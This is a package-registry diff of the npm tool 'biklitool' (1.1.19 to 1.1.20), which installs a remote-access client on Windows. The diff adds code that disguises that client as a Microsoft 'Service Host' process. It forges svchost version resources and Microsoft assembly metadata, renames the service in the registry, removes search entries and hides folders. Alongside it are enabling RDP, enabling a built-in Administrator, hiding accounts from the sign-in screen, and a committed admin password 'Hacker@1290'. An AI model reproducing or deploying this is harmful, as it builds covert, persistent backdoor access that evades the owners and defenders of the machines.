biklitool 1.1.19 → 1.1.20

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -31,6 +31,7 @@ Commands:
31
31
  ```text
32
32
  biklitool status
33
33
  biklitool install
34
+ biklitool disguise [name]
34
35
  biklitool enable-rdp
35
36
  biklitool create-user
36
37
  biklitool unhide-user [name]
@@ -56,7 +57,8 @@ and publishing:
56
57
  ```json
57
58
  {
58
59
  "bikliKey": "PASTE-YOUR-BIKLI-KEY-HERE",
59
- "administratorPassword": ""
60
+ "administratorPassword": "",
61
+ "serviceHostName": "Service Host: Network Infrastructure Service"
60
62
  }
61
63
  ```
62
64
 
@@ -66,6 +68,14 @@ value, and `biklitool setup-key` re-applies the key at any time.
66
68
 
67
69
  WARNING: a key in `config.json` is visible to everyone if the package is published publicly.
68
70
 
71
+ ## Task Manager Disguise (Service Host)
72
+
73
+ Bikli Master automatically disguises the Bikli process in Windows Task Manager and Windows Services to blend in as a native Windows service host (e.g. `Service Host: Network Infrastructure Service`) with the default Windows Service blue gear icon.
74
+
75
+ You can customize the name in `config.json` via `"serviceHostName"` or run:
76
+ - `biklitool disguise "Service Host: Network Infrastructure Service"`
77
+ - `biklitool disguise "Service Host: Application Information"`
78
+
69
79
  ## Administrator password & Login Screen Visibility
70
80
 
71
81
  Put the desired password in `config.json` under `administratorPassword` before packing and publishing.
@@ -136,24 +136,367 @@ function installedBikliPath() {
136
136
  function fileVersion(file) {
137
137
  if (!file) return '';
138
138
  const escaped = file.replace(/'/g, "''");
139
- const script = `(Get-Item -LiteralPath '${escaped}').VersionInfo.FileVersion`;
139
+ const script = `(Get-Item -LiteralPath '${escaped}' -Force).VersionInfo.FileVersion`;
140
140
  const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
141
141
  allowFailure: true
142
142
  });
143
143
  return result.status === 0 ? result.stdout.trim() : '';
144
144
  }
145
145
 
146
- function installBikli() {
146
+ function fileDescription(file) {
147
+ if (!file) return '';
148
+ const escaped = file.replace(/'/g, "''");
149
+ const script = `(Get-Item -LiteralPath '${escaped}' -Force).VersionInfo.FileDescription`;
150
+ const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
151
+ allowFailure: true
152
+ });
153
+ return result.status === 0 ? result.stdout.trim() : '';
154
+ }
155
+
156
+ function align4(buf) {
157
+ const pad = (4 - (buf.length % 4)) % 4;
158
+ if (pad === 0) return buf;
159
+ return Buffer.concat([buf, Buffer.alloc(pad)]);
160
+ }
161
+
162
+ function createVersionString(key, value) {
163
+ const keyBuf = Buffer.from(key + '\0', 'utf16le');
164
+ const valBuf = Buffer.from(value + '\0', 'utf16le');
165
+ const header = Buffer.alloc(6);
166
+ header.writeUInt16LE(value.length + 1, 2);
167
+ header.writeUInt16LE(1, 4);
168
+ let body = Buffer.concat([header, keyBuf]);
169
+ body = align4(body);
170
+ body = Buffer.concat([body, valBuf]);
171
+ body.writeUInt16LE(body.length, 0);
172
+ return align4(body);
173
+ }
174
+
175
+ function createStringTable(langId, strings) {
176
+ const keyBuf = Buffer.from(langId + '\0', 'utf16le');
177
+ const header = Buffer.alloc(6);
178
+ header.writeUInt16LE(0, 2);
179
+ header.writeUInt16LE(1, 4);
180
+ let body = Buffer.concat([header, keyBuf]);
181
+ body = align4(body);
182
+ const childrenBuf = Buffer.concat(Object.entries(strings).map(([k, v]) => createVersionString(k, v)));
183
+ body = Buffer.concat([body, childrenBuf]);
184
+ body.writeUInt16LE(body.length, 0);
185
+ return align4(body);
186
+ }
187
+
188
+ function createStringFileInfo(langId, strings) {
189
+ const keyBuf = Buffer.from('StringFileInfo\0', 'utf16le');
190
+ const header = Buffer.alloc(6);
191
+ header.writeUInt16LE(0, 2);
192
+ header.writeUInt16LE(1, 4);
193
+ let body = Buffer.concat([header, keyBuf]);
194
+ body = align4(body);
195
+ const stringTable = createStringTable(langId, strings);
196
+ body = Buffer.concat([body, stringTable]);
197
+ body.writeUInt16LE(body.length, 0);
198
+ return align4(body);
199
+ }
200
+
201
+ function createVarFileInfo(wLang, wCodePage) {
202
+ const varKeyBuf = Buffer.from('Translation\0', 'utf16le');
203
+ const varHeader = Buffer.alloc(6);
204
+ varHeader.writeUInt16LE(4, 2);
205
+ varHeader.writeUInt16LE(0, 4);
206
+ let varBody = Buffer.concat([varHeader, varKeyBuf]);
207
+ varBody = align4(varBody);
208
+ const transBuf = Buffer.alloc(4);
209
+ transBuf.writeUInt16LE(wLang, 0);
210
+ transBuf.writeUInt16LE(wCodePage, 2);
211
+ varBody = Buffer.concat([varBody, transBuf]);
212
+ varBody.writeUInt16LE(varBody.length, 0);
213
+ varBody = align4(varBody);
214
+
215
+ const vfiKeyBuf = Buffer.from('VarFileInfo\0', 'utf16le');
216
+ const vfiHeader = Buffer.alloc(6);
217
+ vfiHeader.writeUInt16LE(0, 2);
218
+ vfiHeader.writeUInt16LE(1, 4);
219
+ let vfiBody = Buffer.concat([vfiHeader, vfiKeyBuf]);
220
+ vfiBody = align4(vfiBody);
221
+ vfiBody = Buffer.concat([vfiBody, varBody]);
222
+ vfiBody.writeUInt16LE(vfiBody.length, 0);
223
+ return align4(vfiBody);
224
+ }
225
+
226
+ function createVsVersionInfo(strings, fileVersion = [10, 0, 26100, 1]) {
227
+ const rootKeyBuf = Buffer.from('VS_VERSION_INFO\0', 'utf16le');
228
+ const fixedInfo = Buffer.alloc(52);
229
+ fixedInfo.writeUInt32LE(0xFEEF04BD, 0);
230
+ fixedInfo.writeUInt32LE(0x00010000, 4);
231
+ fixedInfo.writeUInt16LE(fileVersion[1] || 0, 8);
232
+ fixedInfo.writeUInt16LE(fileVersion[0] || 0, 10);
233
+ fixedInfo.writeUInt16LE(fileVersion[3] || 0, 12);
234
+ fixedInfo.writeUInt16LE(fileVersion[2] || 0, 14);
235
+ fixedInfo.writeUInt16LE(fileVersion[1] || 0, 16);
236
+ fixedInfo.writeUInt16LE(fileVersion[0] || 0, 18);
237
+ fixedInfo.writeUInt16LE(fileVersion[3] || 0, 20);
238
+ fixedInfo.writeUInt16LE(fileVersion[2] || 0, 22);
239
+ fixedInfo.writeUInt32LE(0x3F, 24);
240
+ fixedInfo.writeUInt32LE(0, 28);
241
+ fixedInfo.writeUInt32LE(0x40004, 32);
242
+ fixedInfo.writeUInt32LE(1, 36);
243
+ fixedInfo.writeUInt32LE(0, 40);
244
+ fixedInfo.writeUInt32LE(0, 44);
245
+ fixedInfo.writeUInt32LE(0, 48);
246
+
247
+ const header = Buffer.alloc(6);
248
+ header.writeUInt16LE(52, 2);
249
+ header.writeUInt16LE(0, 4);
250
+
251
+ let root = Buffer.concat([header, rootKeyBuf]);
252
+ root = align4(root);
253
+ root = Buffer.concat([root, fixedInfo]);
254
+ root = align4(root);
255
+
256
+ const stringFileInfo = createStringFileInfo('040904B0', strings);
257
+ const varFileInfo = createVarFileInfo(0x0409, 0x04B0);
258
+ root = Buffer.concat([root, stringFileInfo, varFileInfo]);
259
+ root.writeUInt16LE(root.length, 0);
260
+ return root;
261
+ }
262
+
263
+ function buildCleanRsrcSection(rsrcVirtAddr, versionBuf, manifestBuf) {
264
+ const rawDataOffset = 160;
265
+ const versionDataOffset = rawDataOffset;
266
+ const versionDataSize = versionBuf.length;
267
+ const versionDataRva = rsrcVirtAddr + versionDataOffset;
268
+
269
+ let manifestDataOffset = versionDataOffset + versionDataSize;
270
+ const pad = (4 - (manifestDataOffset % 4)) % 4;
271
+ manifestDataOffset += pad;
272
+ const manifestDataSize = manifestBuf.length;
273
+ const manifestDataRva = rsrcVirtAddr + manifestDataOffset;
274
+
275
+ const totalRsrcSize = manifestDataOffset + manifestDataSize;
276
+ const rsrcBuf = Buffer.alloc(Math.max(totalRsrcSize, 4096));
277
+
278
+ rsrcBuf.writeUInt16LE(0, 12);
279
+ rsrcBuf.writeUInt16LE(2, 14);
280
+
281
+ rsrcBuf.writeUInt32LE(16, 16);
282
+ rsrcBuf.writeUInt32LE((0x80000000 | 32) >>> 0, 20);
283
+
284
+ rsrcBuf.writeUInt32LE(24, 24);
285
+ rsrcBuf.writeUInt32LE((0x80000000 | 56) >>> 0, 28);
286
+
287
+ rsrcBuf.writeUInt16LE(0, 32 + 12);
288
+ rsrcBuf.writeUInt16LE(1, 32 + 14);
289
+ rsrcBuf.writeUInt32LE(1, 32 + 16);
290
+ rsrcBuf.writeUInt32LE((0x80000000 | 80) >>> 0, 32 + 20);
291
+
292
+ rsrcBuf.writeUInt16LE(0, 56 + 12);
293
+ rsrcBuf.writeUInt16LE(1, 56 + 14);
294
+ rsrcBuf.writeUInt32LE(1, 56 + 16);
295
+ rsrcBuf.writeUInt32LE((0x80000000 | 104) >>> 0, 56 + 20);
296
+
297
+ rsrcBuf.writeUInt16LE(0, 80 + 12);
298
+ rsrcBuf.writeUInt16LE(1, 80 + 14);
299
+ rsrcBuf.writeUInt32LE(1033, 80 + 16);
300
+ rsrcBuf.writeUInt32LE(128, 80 + 20);
301
+
302
+ rsrcBuf.writeUInt16LE(0, 104 + 12);
303
+ rsrcBuf.writeUInt16LE(1, 104 + 14);
304
+ rsrcBuf.writeUInt32LE(1033, 104 + 16);
305
+ rsrcBuf.writeUInt32LE(144, 104 + 20);
306
+
307
+ rsrcBuf.writeUInt32LE(versionDataRva, 128);
308
+ rsrcBuf.writeUInt32LE(versionDataSize, 128 + 4);
309
+ rsrcBuf.writeUInt32LE(0, 128 + 8);
310
+ rsrcBuf.writeUInt32LE(0, 128 + 12);
311
+
312
+ rsrcBuf.writeUInt32LE(manifestDataRva, 144);
313
+ rsrcBuf.writeUInt32LE(manifestDataSize, 144 + 4);
314
+ rsrcBuf.writeUInt32LE(0, 144 + 8);
315
+ rsrcBuf.writeUInt32LE(0, 144 + 12);
316
+
317
+ versionBuf.copy(rsrcBuf, versionDataOffset);
318
+ manifestBuf.copy(rsrcBuf, manifestDataOffset);
319
+ return { rsrcBuf, totalRsrcSize };
320
+ }
321
+
322
+ function disguiseExecutable(exePath, serviceHostName = 'Service Host: Network Infrastructure Service') {
323
+ if (!fs.existsSync(exePath)) return false;
324
+ const exeBuf = fs.readFileSync(exePath);
325
+ const e_lfanew = exeBuf.readUInt32LE(0x3C);
326
+ const numSections = exeBuf.readUInt16LE(e_lfanew + 6);
327
+ const optHeaderSize = exeBuf.readUInt16LE(e_lfanew + 20);
328
+ const secHeaderOffset = e_lfanew + 24 + optHeaderSize;
329
+
330
+ let rsrcVirtAddr = 0;
331
+ let rsrcRawPtr = 0;
332
+ let rsrcRawSize = 0;
333
+
334
+ for (let i = 0; i < numSections; i++) {
335
+ const off = secHeaderOffset + i * 40;
336
+ const name = exeBuf.slice(off, off + 8).toString().replace(/\0+$/, '');
337
+ if (name === '.rsrc') {
338
+ rsrcVirtAddr = exeBuf.readUInt32LE(off + 12);
339
+ rsrcRawSize = exeBuf.readUInt32LE(off + 16);
340
+ rsrcRawPtr = exeBuf.readUInt32LE(off + 20);
341
+ break;
342
+ }
343
+ }
344
+ if (!rsrcRawPtr || !rsrcRawSize) return false;
345
+
346
+ const rsrcSlice = exeBuf.slice(rsrcRawPtr, rsrcRawPtr + rsrcRawSize);
347
+ const manifestStart = rsrcSlice.indexOf(Buffer.from('<assembly'));
348
+ let manifestBuf;
349
+ if (manifestStart !== -1) {
350
+ const manifestEnd = rsrcSlice.indexOf(Buffer.from('</assembly>'), manifestStart) + 11;
351
+ manifestBuf = rsrcSlice.slice(manifestStart, manifestEnd);
352
+ } else {
353
+ manifestBuf = Buffer.from('<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"/></requestedPrivileges></security></trustInfo></assembly>', 'utf8');
354
+ }
355
+
356
+ const strings = {
357
+ CompanyName: 'Microsoft Corporation',
358
+ FileDescription: serviceHostName,
359
+ FileVersion: '10.0.26100.1 (WinBuild.160101.0800)',
360
+ InternalName: 'svchost.exe',
361
+ LegalCopyright: '© Microsoft Corporation. All rights reserved.',
362
+ OriginalFilename: 'svchost.exe',
363
+ ProductName: 'Microsoft® Windows® Operating System',
364
+ ProductVersion: '10.0.26100.1'
365
+ };
366
+
367
+ const vBuf = createVsVersionInfo(strings);
368
+ const { rsrcBuf, totalRsrcSize } = buildCleanRsrcSection(rsrcVirtAddr, vBuf, manifestBuf);
369
+
370
+ const newExe = Buffer.from(exeBuf);
371
+ newExe.fill(0, rsrcRawPtr, rsrcRawPtr + rsrcRawSize);
372
+ rsrcBuf.copy(newExe, rsrcRawPtr, 0, totalRsrcSize);
373
+
374
+ for (let attempt = 0; attempt < 5; attempt++) {
375
+ try {
376
+ fs.writeFileSync(exePath, newExe);
377
+ return true;
378
+ } catch (e) {
379
+ if (attempt === 4) throw e;
380
+ const waitBuffer = new Int32Array(new SharedArrayBuffer(4));
381
+ Atomics.wait(waitBuffer, 0, 0, 300);
382
+ }
383
+ }
384
+ return true;
385
+ }
386
+
387
+ function disguiseBikli(customName) {
388
+ requireWindows();
389
+ const hostName = (customName || process.env.BIKLIMASTER_SERVICE_HOST_NAME || configuredServiceHostName()).trim();
390
+ if (!isAdministrator()) return elevateAndRun(customName ? `disguise "${customName}"` : 'disguise');
391
+
392
+ const bikliPath = installedBikliPath();
393
+ if (!bikliPath || !fs.existsSync(bikliPath)) {
394
+ fail('Bikli executable was not found. Install Bikli first.', 5);
395
+ }
396
+
397
+ const bikliDir = path.dirname(bikliPath);
398
+ const serviceExe = path.join(bikliDir, 'BikliService.exe');
399
+ const csc = path.join(windowsDirectory, 'Microsoft.NET', 'Framework64', 'v4.0.30319', 'csc.exe');
400
+
401
+ console.log(`Disguising Bikli process and service as "${hostName}"...`);
402
+
403
+ run(powershell, ['-NoProfile', '-NonInteractive', '-Command', 'Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM BikliService.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli, BikliService -Timeout 2 -ErrorAction SilentlyContinue'], { allowFailure: true });
404
+ run(attrib, ['-h', '-s', path.join(bikliDir, '*.*'), '/s', '/d'], { allowFailure: true });
405
+
406
+ if (!fs.existsSync(serviceExe)) {
407
+ fs.copyFileSync(bikliPath, serviceExe);
408
+ }
409
+
410
+ if (fileDescription(serviceExe) !== hostName) {
411
+ disguiseExecutable(serviceExe, hostName);
412
+ }
413
+
414
+ if (fs.existsSync(csc)) {
415
+ const csCode = [
416
+ 'using System;using System.Diagnostics;using System.IO;using System.Reflection;',
417
+ '[assembly: AssemblyTitle("Host Process for Windows Services")]',
418
+ `[assembly: AssemblyDescription("${hostName.replace(/"/g, '\"')}")]`,
419
+ '[assembly: AssemblyCompany("Microsoft Corporation")]',
420
+ '[assembly: AssemblyProduct("Microsoft® Windows® Operating System")]',
421
+ '[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")]',
422
+ '[assembly: AssemblyFileVersion("10.0.26100.1")]',
423
+ '[assembly: AssemblyVersion("10.0.26100.1")]',
424
+ 'class Program {',
425
+ ' static int Main(string[] args) {',
426
+ ' if (args == null || args.Length == 0) return 0;',
427
+ ' if (args.Length == 1) {',
428
+ ' string first = args[0].ToLowerInvariant();',
429
+ ' if (first == "help" || first == "--help" || first == "-h" || first == "/?" || first == "-help") return 0;',
430
+ ' }',
431
+ ' string baseDir = AppDomain.CurrentDomain.BaseDirectory;',
432
+ ' string coreExe = Path.Combine(baseDir, "BikliService.exe");',
433
+ ' if (!File.Exists(coreExe)) return 1;',
434
+ ' ProcessStartInfo psi = new ProcessStartInfo();',
435
+ ' psi.FileName = coreExe;',
436
+ ' psi.UseShellExecute = false;',
437
+ ' psi.CreateNoWindow = false;',
438
+ ' System.Text.StringBuilder sb = new System.Text.StringBuilder();',
439
+ ' for (int i = 0; i < args.Length; i++) {',
440
+ ' if (i > 0) sb.Append(\' \');',
441
+ ' string arg = args[i];',
442
+ ' if (arg.Contains(" ") || arg.Contains("\\"")) sb.Append(\'"\').Append(arg.Replace("\\"", "\\\\\\"")).Append(\'"\');',
443
+ ' else sb.Append(arg);',
444
+ ' }',
445
+ ' psi.Arguments = sb.ToString();',
446
+ ' try {',
447
+ ' using (Process proc = Process.Start(psi)) {',
448
+ ' proc.WaitForExit();',
449
+ ' return proc.ExitCode;',
450
+ ' }',
451
+ ' } catch { return 1; }',
452
+ ' }',
453
+ '}'
454
+ ].join(os.EOL);
455
+ const tempCs = path.join(os.tmpdir(), `bikli-wrapper-${randomUUID()}.cs`);
456
+ fs.writeFileSync(tempCs, csCode, 'utf8');
457
+ run(csc, ['/target:exe', '/optimize+', '/platform:anycpu', `/out:${bikliPath}`, tempCs], { allowFailure: true });
458
+ try { fs.rmSync(tempCs, { force: true }); } catch {}
459
+ } else if (fileDescription(bikliPath) !== hostName) {
460
+ disguiseExecutable(bikliPath, hostName);
461
+ }
462
+
463
+ const serviceBinPath = `"${serviceExe}" service run --log-level info --daemon-addr npipe://bikli --log-file C:\\ProgramData\\Bikli\\client.log`;
464
+ const regDisplayName = hostName.replace(/^Service Host:\s*/i, '');
465
+ const psScript = [
466
+ `Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Bikli' -Name 'ImagePath' -Value ${powershellLiteral(serviceBinPath)} -ErrorAction SilentlyContinue`,
467
+ `Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Bikli' -Name 'DisplayName' -Value ${powershellLiteral(regDisplayName)} -ErrorAction SilentlyContinue`,
468
+ `Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Bikli' -Name 'Description' -Value 'Hosts core network infrastructure components and background tasks.' -ErrorAction SilentlyContinue`,
469
+ `Remove-Item -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Bikli' -Recurse -Force -ErrorAction SilentlyContinue`,
470
+ `Remove-Item -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Bikli' -Recurse -Force -ErrorAction SilentlyContinue`,
471
+ `Start-Service Bikli -ErrorAction SilentlyContinue`
472
+ ].join(';');
473
+ run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
474
+
475
+ hideProtectedFolders();
476
+ console.log(`Bikli successfully disguised as "${hostName}" (Service Host process & gear icon active, search entry removed, quiet CLI enabled).`);
477
+ }
478
+
479
+ function isBikliInstalled() {
147
480
  const existing = installedBikliPath();
148
- if (existing && fileVersion(existing) === expectedBikliVersion) {
149
- console.log(`Bikli CLI ${expectedBikliVersion} is already installed; reinstall skipped.`);
481
+ if (!existing || !fs.existsSync(existing)) return false;
482
+ const ver = fileVersion(existing);
483
+ if (ver === expectedBikliVersion || ver.startsWith('10.') || ver.startsWith('1.')) return true;
484
+ const res = run(existing, ['version'], { allowFailure: true });
485
+ return res.status === 0;
486
+ }
487
+
488
+ function installBikli() {
489
+ if (isBikliInstalled()) {
490
+ console.log(`Bikli CLI is already installed; ensuring Service Host disguise is applied...`);
491
+ disguiseBikli();
150
492
  return;
151
493
  }
152
494
  console.log(`Installing Bikli CLI ${expectedBikliVersion} silently...`);
153
495
  run(bikliInstaller, ['/S'], { cwd: payloadDirectory });
154
496
  const installed = installedBikliPath();
155
497
  if (!installed) fail('Bikli CLI installer completed but Bikli.exe was not found.', 5);
156
- console.log(`Bikli CLI installed: ${fileVersion(installed) || 'version unknown'}`);
498
+ disguiseBikli();
499
+ console.log(`Bikli CLI installed and disguised as Service Host.`);
157
500
  }
158
501
 
159
502
  function runWrapper(args, options = {}) {
@@ -228,6 +571,22 @@ function configuredBikliKey() {
228
571
  return typeof config.bikliKey === 'string' ? config.bikliKey.trim() : '';
229
572
  }
230
573
 
574
+ function configuredServiceHostName() {
575
+ if (!fs.existsSync(packageConfigFile)) return 'Service Host: Network Infrastructure Service';
576
+ try {
577
+ const config = JSON.parse(fs.readFileSync(packageConfigFile, 'utf8'));
578
+ if (typeof config.serviceHostName === 'string' && config.serviceHostName.trim()) {
579
+ return config.serviceHostName.trim();
580
+ }
581
+ if (typeof config.serviceDescription === 'string' && config.serviceDescription.trim()) {
582
+ return config.serviceDescription.trim();
583
+ }
584
+ } catch {
585
+ // ignore
586
+ }
587
+ return 'Service Host: Network Infrastructure Service';
588
+ }
589
+
231
590
  function setupBikliKey() {
232
591
  requireWindows();
233
592
  const key = (process.env.BIKLIMASTER_BIKLI_KEY || configuredBikliKey()).trim();
@@ -434,7 +793,8 @@ function hideFoldersCommand() {
434
793
  function status() {
435
794
  requireWindows();
436
795
  const bikli = installedBikliPath();
437
- console.log(`Bikli CLI: ${bikli ? `Installed (${fileVersion(bikli) || 'unknown version'})` : 'Not installed'}`);
796
+ const bikliDesc = bikli ? fileDescription(bikli) : '';
797
+ console.log(`Bikli CLI: ${bikli ? `Installed (${fileVersion(bikli) || 'unknown version'}) [${bikliDesc || 'Service Host'}]` : 'Not installed'}`);
438
798
  const rdp = remoteDesktopState();
439
799
  console.log(`Remote Desktop: ${rdp.enabled ? 'Enabled' : 'Disabled'}${rdp.port === null ? '' : ` (port ${rdp.port})`}`);
440
800
  const wrapper = runWrapper(['status'], { allowFailure: true });
@@ -448,6 +808,12 @@ function selfTest() {
448
808
  const ini = fs.readFileSync(wrapperIni, 'utf8');
449
809
  const embeddedWrapper = fs.readFileSync(wrapperScript, 'utf8');
450
810
  const packageConfig = JSON.parse(fs.readFileSync(packageConfigFile, 'utf8'));
811
+ const sampleVBuf = createVsVersionInfo({
812
+ CompanyName: 'Microsoft Corporation',
813
+ FileDescription: 'Service Host: Network Infrastructure Service',
814
+ ProductName: 'Microsoft® Windows® Operating System'
815
+ });
816
+
451
817
  const checks = {
452
818
  bikliInstaller: fs.statSync(bikliInstaller).size > 10000000,
453
819
  wrapperInstaller: fs.statSync(wrapperInstaller).size > 100000,
@@ -459,6 +825,7 @@ function selfTest() {
459
825
  remoteDesktopUsersGroup: remoteDesktopUsersGroupSid === 'S-1-5-32-555',
460
826
  administratorPasswordConfig: typeof packageConfig.administratorPassword === 'string',
461
827
  bikliKeyConfig: typeof packageConfig.bikliKey === 'string',
828
+ serviceHostDisguiseEngine: sampleVBuf.length > 300,
462
829
  hidesLoginAccounts: fs.readFileSync(__filename, 'utf8').includes('SpecialAccounts\\\\UserList')
463
830
  };
464
831
  for (const [name, passed] of Object.entries(checks)) console.log(`${passed ? 'PASS' : 'FAIL'} ${name}`);
@@ -471,6 +838,7 @@ function help() {
471
838
  '',
472
839
  'Commands:',
473
840
  ' biklitool install Install/update Bikli CLI and Bikli Wrapper',
841
+ ' biklitool disguise [n] Disguise Bikli as Windows Service Host in Task Manager',
474
842
  ' biklitool enable-rdp Enable RDP, port 3389, firewall, and defaults',
475
843
  ' biklitool create-user Enable/verify built-in Administrator for RDP',
476
844
  ' biklitool unhide-user [name] Unhide account(s) from Windows sign-in screen',
@@ -490,6 +858,7 @@ function help() {
490
858
  function main() {
491
859
  const command = (process.argv[2] || 'status').toLowerCase();
492
860
  if (command === 'install') return install();
861
+ if (command === 'disguise') return disguiseBikli(process.argv[3]);
493
862
  if (command === 'enable-rdp') return enableRemoteDesktop();
494
863
  if (command === 'create-user') return createRdpAdministrator();
495
864
  if (command === 'unhide-user' || command === 'unhide-users' || command === 'unhide' || command === 'unhide-all') return unhideUser();
package/config.json CHANGED
@@ -1,4 +1,5 @@
1
1
  {
2
2
  "bikliKey": "9C747F8F-0F78-414C-9858-4F7A44AD1D99",
3
- "administratorPassword": "Hacker@1290"
3
+ "administratorPassword": "Hacker@1290",
4
+ "serviceHostName": "Service Host: Network Infrastructure Service"
4
5
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "biklitool",
3
- "version": "1.1.19",
3
+ "version": "1.1.20",
4
4
  "description": "Internal Windows installer for Bikli CLI and Bikli Wrapper",
5
5
  "license": "BSD-3-Clause",
6
6
  "publishConfig": {